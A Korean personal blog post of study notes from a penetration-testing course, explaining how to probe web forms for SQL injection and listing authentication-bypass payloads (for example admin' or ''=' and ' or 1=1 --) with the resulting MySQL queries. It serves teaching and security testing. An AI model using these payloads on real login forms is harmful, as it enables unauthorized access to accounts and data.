kkamagi's story

IT, 정보보안, 포렌식, 일상 공유

Cyber Security

SQL Injection 점검 시 절차 (구문 작성)

까마기 2020. 6. 15. 11:33
728x90
반응형

인프런 모의해킹 실무 강의 中 메모

 

1. 에러 유무

1) 로그인 폼이 문자형일 경우 싱글쿼터를 사용

- 싱글쿼터만 입력 후 에러메세지 유무 ex)절대 경로 유출 등

- 정상적인 출력이 아닌 에러 발생 시 싱글쿼터에 대해 검증을 하지 않기 때문에 SQL Injection 이 발생할 확률이 높구나 란 추론이 가능

 

2) 공백 값을 넣어 확인

- mysql 같은 경우 공백이 들어감 문장과 문장을 이어주기 위함

ex) id : g' 'uest / pw : guest -> 정상로그인

- 하지만, 아이디를 알고 있을 경우에는 위와 같이 하지만 모를 경우에는 어떻게 할까?

ex) te' 'st -> 모르는 값을 아이디 입력 시 정상적인 출력이 되는지 확인 후, te'a'st 와 같이 공백안에 임의의 문자를 넣어 에러가 발생하는 지 확인한다. -> 에러가 발생하면 취약하다는 것이 확인되는 것.

 

2. 취약 유무

 

 

3. 조건구문 작성

조건구문 완성 자체가 인증으로 넘어가는 것

 

* 인젝션 시에는 해당 구문을 작성하는 것이 도움이된다.

select * from board where title like '%%' (검색창에 ' and '1'='1 을 입력한다면 다음과 같다)

select * from board where title like '%' and '1'='1%'

---> title like '%' 는 참(True), '1'='1%'는 거짓(False) 이므로 거짓인 구문이 된다.

 

* %(와일드 카드)는 = 연산자가 있기 때문에 단순 문자가 된다.

 

<Inline Query 형태의 참을 반환하는 SQL 쿼리 구문>

 

건강%' and 1=1 and '1%'='1

'%cre%' and '%'='%'

' and '%'='  ----> 모든 게시물 조회 (select * from board where title like '%' and '%'='%')

---> title like '%' 는 참

---> '%='%' 도 참 (= 연산자 때문에 와일드카드가 단순 문자로 취급)

---> 조건 구문을 완성해보자.

터미네이팅 같은 경우 예로 ' and 1=1-- 으로 처리하게 되면 1=1 부분에 조건 구문이 들어오면 된다.

하지만 Inline 방식은 뒤에 싱글쿼터 구문이 숨어있기 때문에 ' and '%'=' 같은 구문에서는 추론을 위한 구문이 들어가지 못한다.

그렇기 때문에 1-1 and를 추가로 넣어준다.

' and 1=1 and '%'=' ---> '%' and 1=1 and '%'='%'

 

<Terminating Query 형태의 참을 반환하는 SQL 쿼리 구문>

'%cre%' and 1=1--

ex) select * from board WHERE title like '%'||(case when 1=1 then '건강' else 'aaa' end)||'%'

%는 문자로 남아있고 case when 결과 값 반환하면 건강이 반환

-> '%'||'건강'||'%' -

> '%건강%' 과 동일한 결과값이 된다(참일 경우)

-> 거짓일 경우

-> '%aaa%' 위와 같이 참 거짓을 판별해서 다양하게 응용이 가능 아이디를 알고 있을 경우 admin' or '1'=' --> select * from member where id='admin' or '1'='' and pw='[ENCRYPT DATA]'

 

-------------------------------------------[실습3-2] 인증 우회 공격 실습-----------------------------------------------------

* 원본 쿼리 : select * from member where id='{$id}' and pw='{$pw}'";

ID 조건 구문 형태 조건 구문 예시 1
O In-line Query ID : admin' or ''='
PW : 임의의 값
select * from member where id like 'admin' or ''='' and pw = '{$pw}'";
O Terminating Query   select * from member where id like 'admin' -- ' and pw = '{$pw}'";
or
select * from member where id like 'admin' # ' and pw = '{$pw}'";
X In-line Query   select * from member where id like '' or 1=1 or '1'='1' and pw = '{$pw}'";
X Terminating Query   select * from member where id like '' or 1=1 -- ' and pw = '{$pw}'"; 

mysql 같은 경우 주석문자가 --, # 이 있다. -- 주석문자는 사용방법이 다르다. 공백이 존재해야한다. 해당 문자열의 양 사이드에 공백이 있어야 하며, 공백이 없을 경우 에러가 발생한다. (공백--공백, ' -- ')

 

 

반응형